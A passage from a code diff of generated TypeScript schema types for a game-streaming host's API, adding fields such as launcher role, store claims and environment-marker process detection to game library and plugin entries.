Schema.String.annotate({ "description": "Stable, store-qualified id: `steam:` or `custom:`." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "kind": Schema.String.annotate({ "description": "`\"steam_appid\"` or `\"command\"`." }), "value": Schema.String.annotate({ "description": "The appid (for `steam_appid`) or the shell command (for `command`)." }) }).annotate({ "description": "How the host would launch it, when known." })], { mode: "oneOf" })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." })), "store": Schema.String.annotate({ "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`." }), "title": Schema.String }).annotate({ "description": "Descriptive metadata, flattened — see [`GameMeta`]." }) +export type GameEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art": Artwork, readonly "id": string, readonly "launch"?: null | { readonly "kind": string, readonly "value": string }, readonly "provider"?: string | null, readonly "role"?: "game" | "launcher", readonly "store": string, readonly "title": string } +export const GameEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Artwork, "id": Schema.String.annotate({ "description": "Stable, store-qualified id: `steam:` or `custom:`." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "kind": Schema.String.annotate({ "description": "`\"steam_appid\"` or `\"command\"`." }), "value": Schema.String.annotate({ "description": "The appid (for `steam_appid`) or the shell command (for `command`)." }) }).annotate({ "description": "How the host would launch it, when known." })], { mode: "oneOf" })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (custom-store entries synced by a provider\nplugin, RFC §8) — `None` for installed-store titles and manual custom entries. The\nconsole uses it for attribution; `GET /library?provider=` filters on it." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." })), "store": Schema.String.annotate({ "description": "Which store surfaced it: `\"steam\"` or `\"custom\"`." }), "title": Schema.String }).annotate({ "description": "Descriptive metadata, flattened — see [`GameMeta`]." }) export type HooksConfig = { readonly "hooks"?: ReadonlyArray } export const HooksConfig = Schema.Struct({ "hooks": Schema.optionalKey(Schema.Array(HookEntry)) }).annotate({ "description": "The operator's hook configuration — the `hooks.json` document and the `/api/v1/hooks` body." }) export type LogPage = { readonly "dropped": boolean, readonly "entries": ReadonlyArray, readonly "next": number } @@ -163,20 +163,20 @@ export type StreamRef = { readonly "app"?: string | null, readonly "client": str export const StreamRef = Schema.Struct({ "app": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The launched app/title for this stream, when one was requested (store-qualified id on\nthe native plane, app title on the GameStream plane)." })), "client": Schema.String.annotate({ "description": "Client-supplied device name; may be empty." }), "hdr": Schema.Boolean, "mode": Schema.String.annotate({ "description": "Negotiated mode, `WxH@Hz`." }), "plane": Plane }).annotate({ "description": "A live video stream (what the stream marker file reflects)." }) export type PluginLogBatch = { readonly "entries": ReadonlyArray } export const PluginLogBatch = Schema.Struct({ "entries": Schema.Array(PluginLogLine) }).annotate({ "description": "A batch of runner log lines." }) -export type PluginSummary = { readonly "id": string, readonly "title": string, readonly "ui"?: null | PluginUiPublic, readonly "version"?: string | null } -export const PluginSummary = Schema.Struct({ "id": Schema.String, "title": Schema.String, "ui": Schema.optionalKey(Schema.Union([Schema.Null, PluginUiPublic], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])) }).annotate({ "description": "One entry in `GET /plugins`. **Never carries the secret** — the browser learns a plugin exists\nand has a UI, nothing that lets it reach the plugin directly (it goes through the console proxy)." }) +export type PluginSummary = { readonly "category"?: string | null, readonly "id": string, readonly "title": string, readonly "ui"?: null | PluginUiPublic, readonly "version"?: string | null } +export const PluginSummary = Schema.Struct({ "category": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The plugin's kind — see [`PluginRegistration::category`]." })), "id": Schema.String, "title": Schema.String, "ui": Schema.optionalKey(Schema.Union([Schema.Null, PluginUiPublic], { mode: "oneOf" })), "version": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])) }).annotate({ "description": "One entry in `GET /plugins`. **Never carries the secret** — the browser learns a plugin exists\nand has a UI, nothing that lets it reach the plugin directly (it goes through the console proxy)." }) export type HostInfo = { readonly "abi_version": number, readonly "app_version": string, readonly "codecs": ReadonlyArray, readonly "gamestream": boolean, readonly "gfe_version": string, readonly "hostname": string, readonly "local_ip": string, readonly "os": string, readonly "os_name": string, readonly "ports": PortMap, readonly "uniqueid": string, readonly "version": string } export const HostInfo = Schema.Struct({ "abi_version": Schema.Number.annotate({ "description": "`punktfunk-core` C ABI version.", "format": "int32" }).check(Schema.isInt()).check(Schema.isGreaterThanOrEqualTo(0)), "app_version": Schema.String.annotate({ "description": "GameStream host version advertised to Moonlight clients." }), "codecs": Schema.Array(ApiCodec).annotate({ "description": "Codecs the host can encode (NVENC)." }), "gamestream": Schema.Boolean.annotate({ "description": "Whether the GameStream/Moonlight-compat planes are running (`--gamestream`). `false` on the\nsecure default (native punktfunk/1 only) — a console can hide Moonlight-only UI (e.g. the\nMoonlight PIN pairing card, which could never receive a PIN when this is `false`)." }), "gfe_version": Schema.String.annotate({ "description": "GFE version advertised to Moonlight clients." }), "hostname": Schema.String, "local_ip": Schema.String.annotate({ "description": "Best-effort primary LAN IP." }), "os": Schema.String.annotate({ "description": "OS identity chain, generic → most specific, slash-separated (`windows` | `macos` |\n`linux[/][/]`). A client walks it most-specific-first and shows the first\ntoken it has an icon for, so an unknown distro still degrades to its family's mark." }), "os_name": Schema.String.annotate({ "description": "Human-readable OS name (os-release `PRETTY_NAME`; `\"Windows\"`/`\"macOS\"` elsewhere)." }), "ports": PortMap, "uniqueid": Schema.String.annotate({ "description": "Stable per-host id (persisted across restarts), matched on pairing." }), "version": Schema.String.annotate({ "description": "`punktfunk-host` crate version." }) }).annotate({ "description": "Host identity and advertised capabilities (static for the life of the process)." }) export type DisplayLayoutRequest = { readonly "positions"?: { readonly [x: string]: Position } } export const DisplayLayoutRequest = Schema.Struct({ "positions": Schema.optionalKey(Schema.Record(Schema.String, Position).annotate({ "description": "`{\"\": {\"x\": …, \"y\": …}}` — where each arranged display's top-left sits." }).check(Schema.isPropertyNames(Schema.String))) }).annotate({ "description": "Request body for `setDisplayLayout`: per-identity-slot desktop offsets, keyed by the identity-slot\nid as a string (the same id `/display/state` reports as `identity_slot`)." }) export type Layout = { readonly "mode"?: LayoutMode, readonly "positions"?: { readonly [x: string]: Position } } export const Layout = Schema.Struct({ "mode": Schema.optionalKey(LayoutMode), "positions": Schema.optionalKey(Schema.Record(Schema.String, Position).check(Schema.isPropertyNames(Schema.String))) }).annotate({ "description": "Group layout: the arrangement mode plus, for [`LayoutMode::Manual`], per-slot offsets keyed by\nidentity-slot id (string keys for stable JSON)." }) -export type CustomEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "external_id"?: string | null, readonly "id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "provider"?: string | null, readonly "title": string } -export const CustomEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process once it is running (design §9) — the one thing a\nprovider knows that the host cannot work out for itself.\n\nOptional: without it the entry is still tracked by the child the host spawns for it, which\ncovers every command that stays in the foreground. It earns its keep for a command that hands\noff and exits — a launcher script, a `flatpak run`, a front-end that starts an emulator — where\nthe host would otherwise lose the game the moment the shim returns." })), "external_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider's own stable key for this title — the reconcile diff key, so the\nhost-assigned `id` stays stable across reconciles. Present iff `provider` is." })), "id": Schema.String.annotate({ "description": "Host-assigned, stable for the life of the entry (the `{id}` in the CRUD path)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps (RFC §6): each `do` runs before this title launches, each\n`undo` at session end in reverse order (see [`crate::hooks::run_prep`])." })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) -export type CustomInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "title": string } -export const CustomInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]." })), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]. Replaced\nwholesale on update, like `art`: an edit must round-trip every field it wants kept." }) -export type ProviderEntryInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null }, readonly "external_id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "title": string } -export const ProviderEntryInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its\ntitles' install directories (Playnite does) should send them: it is what lets a game launched\nthrough the provider's own client still end its session when the player quits." })), "external_id": Schema.String.annotate({ "description": "The provider's stable id for this title (the reconcile diff key)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) +export type CustomEntry = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "external_id"?: string | null, readonly "id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "provider"?: string | null, readonly "role"?: "game" | "launcher", readonly "store"?: string | null, readonly "title": string } +export const CustomEntry = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process once it is running (design §9) — the one thing a\nprovider knows that the host cannot work out for itself.\n\nOptional: without it the entry is still tracked by the child the host spawns for it, which\ncovers every command that stays in the foreground. It earns its keep for a command that hands\noff and exits — a launcher script, a `flatpak run`, a front-end that starts an emulator — where\nthe host would otherwise lose the game the moment the shim returns." })), "external_id": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The provider's own stable key for this title — the reconcile diff key, so the\nhost-assigned `id` stays stable across reconciles. Present iff `provider` is." })), "id": Schema.String.annotate({ "description": "Host-assigned, stable for the life of the entry (the `{id}` in the CRUD path)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps (RFC §6): each `do` runs before this title launches, each\n`undo` at session end in reverse order (see [`crate::hooks::run_prep`])." })), "provider": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The external provider owning this entry (RFC §8), set ONLY by the provider reconcile\nAPI — `None` = a manual entry, which no provider operation ever touches, and which the\nmanual CRUD alone may edit (the converse holds too: manual CRUD refuses provider-owned\nentries, so ownership is never ambiguous)." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]." })), "store": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The **store this entry was claimed under** (D2), stamped by a `?store=`-qualified reconcile.\n`None` = an unclaimed provider entry or a manual one, both of which surface as `custom`.\n\nMaterialized onto the entry rather than looked up in [`Catalog::claims`] on every read so an\nentry is self-describing: its id and its `store` badge derive from the entry alone, and stay\ncorrect even while the claim map is being rewritten." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) +export type CustomInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "role"?: "game" | "launcher", readonly "title": string } +export const CustomInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]." })), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A hand-added launcher\nentry is legal (an operator may want a \"Steam\" tile without installing the steam plugin)." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]. Replaced\nwholesale on update, like `art`: an edit must round-trip every field it wants kept." }) +export type ProviderEntryInput = { readonly "description"?: string | null, readonly "developer"?: string | null, readonly "genres"?: ReadonlyArray, readonly "platform"?: string | null, readonly "players"?: never, readonly "publisher"?: string | null, readonly "region"?: string | null, readonly "release_year"?: never, readonly "tags"?: ReadonlyArray, readonly "art"?: Artwork, readonly "detect"?: { readonly "env_marker"?: null | { readonly "key": string, readonly "value"?: string | null }, readonly "exe"?: string | null, readonly "install_dir"?: string | null, readonly "process_name"?: string | null, readonly "steam_appid"?: never }, readonly "external_id": string, readonly "launch"?: null | LaunchSpec, readonly "prep"?: ReadonlyArray, readonly "role"?: "game" | "launcher", readonly "title": string } +export const ProviderEntryInput = Schema.Struct({ "description": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Short blurb for a details pane." })), "developer": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "genres": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Genre taxonomy from the metadata source (`\"RPG\"`, `\"Platformer\"`, …)." })), "platform": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The system the title runs on — `\"PS2\"`, `\"Xbox 360\"`, `\"SNES\"`, … Installed-store\nscanners stamp `\"PC\"`; `GET /library?platform=` filters on it (case-insensitive)." })), "players": Schema.optionalKey(Schema.Never), "publisher": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null])), "region": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Release region — emulation-relevant (`\"NTSC-U\"`, `\"PAL\"`, `\"NTSC-J\"`)." })), "release_year": Schema.optionalKey(Schema.Never), "tags": Schema.optionalKey(Schema.Array(Schema.String).annotate({ "description": "Free-form organizational labels (`\"co-op\"`, `\"kids\"`, `\"finished\"`, …)." })), "art": Schema.optionalKey(Artwork), "detect": Schema.optionalKey(Schema.Struct({ "env_marker": Schema.optionalKey(Schema.Union([Schema.Null, Schema.Struct({ "key": Schema.String.annotate({ "description": "The variable name (e.g. `HEROIC_GAME_ID`)." }), "value": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The exact value to require, when the launcher's value identifies *this* title. `None` matches\nthe key's mere presence — only safe for launchers that run one game at a time." })) }).annotate({ "description": "A launcher-stamped environment marker (D3) — see [`EnvMarker`]." })], { mode: "oneOf" })), "exe": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The game's own executable, as an absolute path." })), "install_dir": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "Where the title is installed. Any process running from under this directory is part of the\ngame — the universal recipe, and the one worth supplying if you supply only one." })), "process_name": Schema.optionalKey(Schema.Union([Schema.String, Schema.Null]).annotate({ "description": "The executable's file name (`Hades.exe`), when its location isn't fixed. Weakest of the three\n— see [`DetectSpec::process_name`]." })), "steam_appid": Schema.optionalKey(Schema.Never) }).annotate({ "description": "How to recognize this title's process — see [`CustomEntry::detect`]. A provider that knows its\ntitles' install directories (Playnite does) should send them: it is what lets a game launched\nthrough the provider's own client still end its session when the player quits." })), "external_id": Schema.String.annotate({ "description": "The provider's stable id for this title (the reconcile diff key)." }), "launch": Schema.optionalKey(Schema.Union([Schema.Null, LaunchSpec], { mode: "oneOf" })), "prep": Schema.optionalKey(Schema.Array(PrepCmd).annotate({ "description": "Per-title prep/undo steps — commands run as the host user; operator-privileged config." })), "role": Schema.optionalKey(Schema.Literals(["game", "launcher"]).annotate({ "description": "Whether this entry is a game or the launcher itself — see [`GameRole`]. A library plugin\nemits its `launchers(cfg)` entries with `role: \"launcher\"`." })), "title": Schema.String }).annotate({ "description": "Descriptive metadata (platform, description, …), flattened — see [`GameMeta`]." }) export type CatalogResponse = { readonly "busy": boolean, readonly "host": HostFacts, readonly "plugins": ReadonlyArray, readonly "sources": ReadonlyArray } export const CatalogResponse = Schema.Struct({ "busy": Schema.Boolean.annotate({ "description": "True while a package operation is in flight — the console disables install buttons." }), "host": HostFacts, "plugins": 